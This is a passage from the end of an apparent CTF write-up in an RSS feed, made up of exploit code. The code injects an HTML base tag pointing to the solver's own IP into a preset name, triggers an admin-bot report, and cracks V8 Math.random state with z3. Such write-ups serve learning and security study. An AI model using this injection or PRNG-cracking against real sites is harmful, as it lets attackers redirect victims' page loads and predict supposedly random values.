<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> time </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> sleep</span></span>
<span></span>
<span><span style="color: #D6DEEB">requests.packages.urllib3.util.connection.</span><span style="color: #82AAFF">HAS_IPV6</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">False</span></span>
<span><span style="color: #D6DEEB">ip </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">https://ifconfig.me</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">).text</span></span>
<span><span style="color: #D6DEEB">name </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&lt;/title&gt;&lt;base href=&quot;http://</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">ip</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">:</span><span style="color: #82AAFF">{PORT}</span><span style="color: #ECC48D">&quot;/&gt;&lt;title&gt;&#39;</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">report</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">prefix</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">post</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&quot;</span><span style="color: #82AAFF">{URL}</span><span style="color: #ECC48D">/preset&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">json</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">: name, </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">prefix</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">: prefix}</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">id</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> res.</span><span style="color: #B2CCD6">json</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">id</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">]</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">post</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&quot;</span><span style="color: #82AAFF">{URL}</span><span style="color: #ECC48D">/report&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">json</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">path</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">: </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&quot;/presets/</span><span style="color: #82AAFF">{</span><span style="color: #C5E478">id</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;</span><span style="color: #82AAFF">}</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res.text</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #B2CCD6">report</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">A</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> MAX_PREFIX_LEN</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #B2CCD6">sleep</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #B2CCD6">report</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;&quot;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># Crack Math.random</span></span>
<span><span style="color: #637777"># https://github.com/d0nutptr/v8_rand_buster</span></span>
<span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> os </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> cpu_count</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> z3 </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span></span>
<span></span>
<span><span style="color: #82AAFF">MAX_UNUSED_THREADS</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">2</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">xs128p</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">state0</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">state1</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> state0 </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    s0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> state1 </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> (s1 </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">23</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> (s1 </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">17</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> s0 </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> (s0 </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">26</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    state0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> state1 </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> s1 </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    generated </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (state0 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> state1) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> state0, state1, generated</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">sym_xs128p</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">sym_state0</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">sym_state1</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym_state0</span></span>
<span><span style="color: #D6DEEB">    s0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym_state1</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> s1 </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">23</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">LShR</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">s1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">17</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> s0</span></span>
<span><span style="color: #D6DEEB">    s1 </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">LShR</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">s0</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">26</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    sym_state0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym_state1</span></span>
<span><span style="color: #D6DEEB">    sym_state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> s1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">sym_floor_random</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">slvr</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">sym_state0</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">sym_state1</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">generated</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">multiple</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    sym_state0, sym_state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">sym_xs128p</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">sym_state0</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> sym_state1</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    calc </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (sym_state0 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> sym_state1) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">(</span><span style="color: #F78C6C">1</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">53</span><span style="color: #82AAFF">) </span><span style="color: #C792EA">-</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    coef </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> multiple</span></span>
<span><span style="color: #D6DEEB">    lower </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">generated </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> coef</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    upper </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">(generated </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #82AAFF">) </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> coef</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    slvr.</span><span style="color: #B2CCD6">add</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">ULE</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">lower</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> calc</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">    slvr.</span><span style="color: #B2CCD6">add</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">ULE</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">calc</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">upper</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)))</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">solve</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">points</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">multiple</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    ostate0, ostate1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BitVecs</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">ostate0 ostate1</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    sym_state0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> ostate0</span></span>
<span><span style="color: #D6DEEB">    sym_state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> ostate1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">set_option</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">parallel.enable</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #FF5874">True</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">set_option</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">parallel.threads.max</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">max</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">cpu_count</span><span style="color: #D6DEEB">()</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">-</span><span style="color: #82AAFF"> MAX_UNUSED_THREADS</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">    slvr </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">SolverFor</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">QF_BV</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> point </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> points:</span></span>
<span><span style="color: #D6DEEB">        sym_state0, sym_state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">sym_floor_random</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">            slvr</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> sym_state0</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> sym_state1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> point</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> multiple</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> slvr.</span><span style="color: #B2CCD6">check</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> sat</span></span>
<span></span>
<span><span style="color: #D6DEEB">    m </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> slvr.</span><span style="color: #B2CCD6">model</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    state0 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> m[ostate0].</span><span style="color: #B2CCD6">as_long</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> m[ostate1].</span><span style="color: #B2CCD6">as_long</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> state0, state1</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">to_double</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">value</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> (value </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> ((</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">gen</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">seeds</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">multiple</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">count</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    state0, state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> seeds</span></span>
<span><span style="color: #D6DEEB">    points </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> _ </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">count</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        state0, state1, output </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">xs128p</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">state0</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> state1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        points.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">math.</span><span style="color: #B2CCD6">floor</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">multiple </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">to_double</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">output</span><span style="color: #D6DEEB">)))</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> points</span></span></code></pre></div></section>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
    </channel>
</rss>